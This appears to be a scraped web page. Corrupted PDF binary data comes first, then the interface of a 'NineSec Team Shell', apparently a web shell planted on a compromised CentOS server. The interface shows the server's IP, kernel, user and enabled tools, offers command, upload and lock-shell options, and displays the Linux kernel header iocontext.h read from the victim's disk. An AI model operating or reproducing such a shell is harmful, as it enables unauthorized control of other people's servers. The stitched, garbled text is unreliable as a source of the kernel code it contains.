%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 10.0.3.46  /  Your IP : 172.69.17.44
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
System : Linux ukmjuara 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/src/kernels/3.10.0-957.5.1.el7.x86_64/include/linux/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //usr/src/kernels/3.10.0-957.5.1.el7.x86_64/include/linux/iocontext.h
#ifndef IOCONTEXT_H
#define IOCONTEXT_H

#include <linux/radix-tree.h>
#include <linux/rcupdate.h>
#include <linux/workqueue.h>

enum {
	ICQ_EXITED		= 1 << 2,
};

/*
 * An io_cq (icq) is association between an io_context (ioc) and a
 * request_queue (q).  This is used by elevators which need to track
 * information per ioc - q pair.
 *
 * Elevator can request use of icq by setting elevator_type->icq_size and
 * ->icq_align.  Both size and align must be larger than that of struct
 * io_cq and elevator can use the tail area for private information.  The
 * recommended way to do this is defining a struct which contains io_cq as
 * the first member followed by private members and using its size and
 * align.  For example,
 *
 *	struct snail_io_cq {
 *		struct io_cq	icq;
 *		int		poke_snail;
 *		int		feed_snail;
 *	};
 *
 *	struct elevator_type snail_elv_type {
 *		.ops =		{ ... },
 *		.icq_size =	sizeof(struct snail_io_cq),
 *		.icq_align =	__alignof__(struct snail_io_cq),
 *		...
 *	};
 *
 * If icq_size is set, block core will manage icq's.  All requests will
 * have its ->elv.icq field set before elevator_ops->elevator_set_req_fn()
 * is called and be holding a reference to the associated io_context.
 *
 * Whenever a new icq is created, elevator_ops->elevator_init_icq_fn() is
 * called and, on destruction, ->elevator_exit_icq_fn().  Both functions
 * are called with both the associated io_context and queue locks held.
 *
 * Elevator is allowed to lookup icq using ioc_lookup_icq() while holding
 * queue lock but the returned icq is valid only until the queue lock is
 * released.  Elevators can not and should not try to create or destroy
 * icq's.
 *
 * As icq's are linked from both ioc and q, the locking rules are a bit
 * complex.
 *
 * - ioc lock nests inside q lock.
 *
 * - ioc->icq_list and icq->ioc_node are protected by ioc lock.
 *   q->icq_list and icq->q_node by q lock.
 *
 * - ioc->icq_tree and ioc->icq_hint are protected by ioc lock, while icq
 *   itself is protected by q lock.  However, both the indexes and icq
 *   itself are also RCU managed and lookup can be performed holding only
 *   the q lock.
 *
 * - icq's are not reference counted.  They are destroyed when either the
 *   ioc or q goes away.  Each request with icq set holds an extra
 *   reference to ioc to ensure it stays until the request is completed.
 *
 * - Linking and unlinking icq's are performed while holding both ioc and q
 *   locks.  Due to the lock ordering, q exit is simple but ioc exit
 *   requires reverse-order double lock dance.
 */
struct io_cq {
	struct request_queue	*q;
	struct io_context	*ioc;

	/*
	 * q_node and ioc_node link io_cq through icq_list of q and ioc
	 * respectively.  Both fields are unused once ioc_exit_icq() is
	 * called and shared with __rcu_icq_cache and __rcu_head which are
	 * used for RCU free of io_cq.
	 */
	union {
		struct list_head	q_node;
		struct kmem_cache	*__rcu_icq_cache;
	};
	union {
		struct hlist_node	ioc_node;
		struct rcu_head		__rcu_head;
	};

	unsigned int		flags;
};

/*
 * I/O subsystem state of the associated processes.  It is refcounted
 * and kmalloc'ed. These could be shared between processes.
 */
struct io_context {
	atomic_long_t refcount;
	atomic_t active_ref;
	atomic_t nr_tasks;

	/* all the fields below are protected by this lock */
	spinlock_t lock;

	unsigned short ioprio;

	/*
	 * For request batching
	 */
	int nr_batch_requests;     /* Number of requests left in the batch */
	unsigned long last_waited; /* Time last woken after wait for request */

	struct radix_tree_root	icq_tree;
	struct io_cq __rcu	*icq_hint;
	struct hlist_head	icq_list;

	struct work_struct release_work;
};

/**
 * get_io_context_active - get active reference on ioc
 * @ioc: ioc of interest
 *
 * Only iocs with active reference can issue new IOs.  This function
 * acquires an active reference on @ioc.  The caller must already have an
 * active reference on @ioc.
 */
static inline void get_io_context_active(struct io_context *ioc)
{
	WARN_ON_ONCE(atomic_long_read(&ioc->refcount) <= 0);
	WARN_ON_ONCE(atomic_read(&ioc->active_ref) <= 0);
	atomic_long_inc(&ioc->refcount);
	atomic_inc(&ioc->active_ref);
}

static inline void ioc_task_link(struct io_context *ioc)
{
	get_io_context_active(ioc);

	WARN_ON_ONCE(atomic_read(&ioc->nr_tasks) <= 0);
	atomic_inc(&ioc->nr_tasks);
}

struct task_struct;
#ifdef CONFIG_BLOCK
void put_io_context(struct io_context *ioc);
void put_io_context_active(struct io_context *ioc);
void exit_io_context(struct task_struct *task);
struct io_context *get_task_io_context(struct task_struct *task,
				       gfp_t gfp_flags, int node);
#else
struct io_context;
static inline void put_io_context(struct io_context *ioc) { }
static inline void exit_io_context(struct task_struct *task) { }
#endif

#endif

NineSec Team - 2022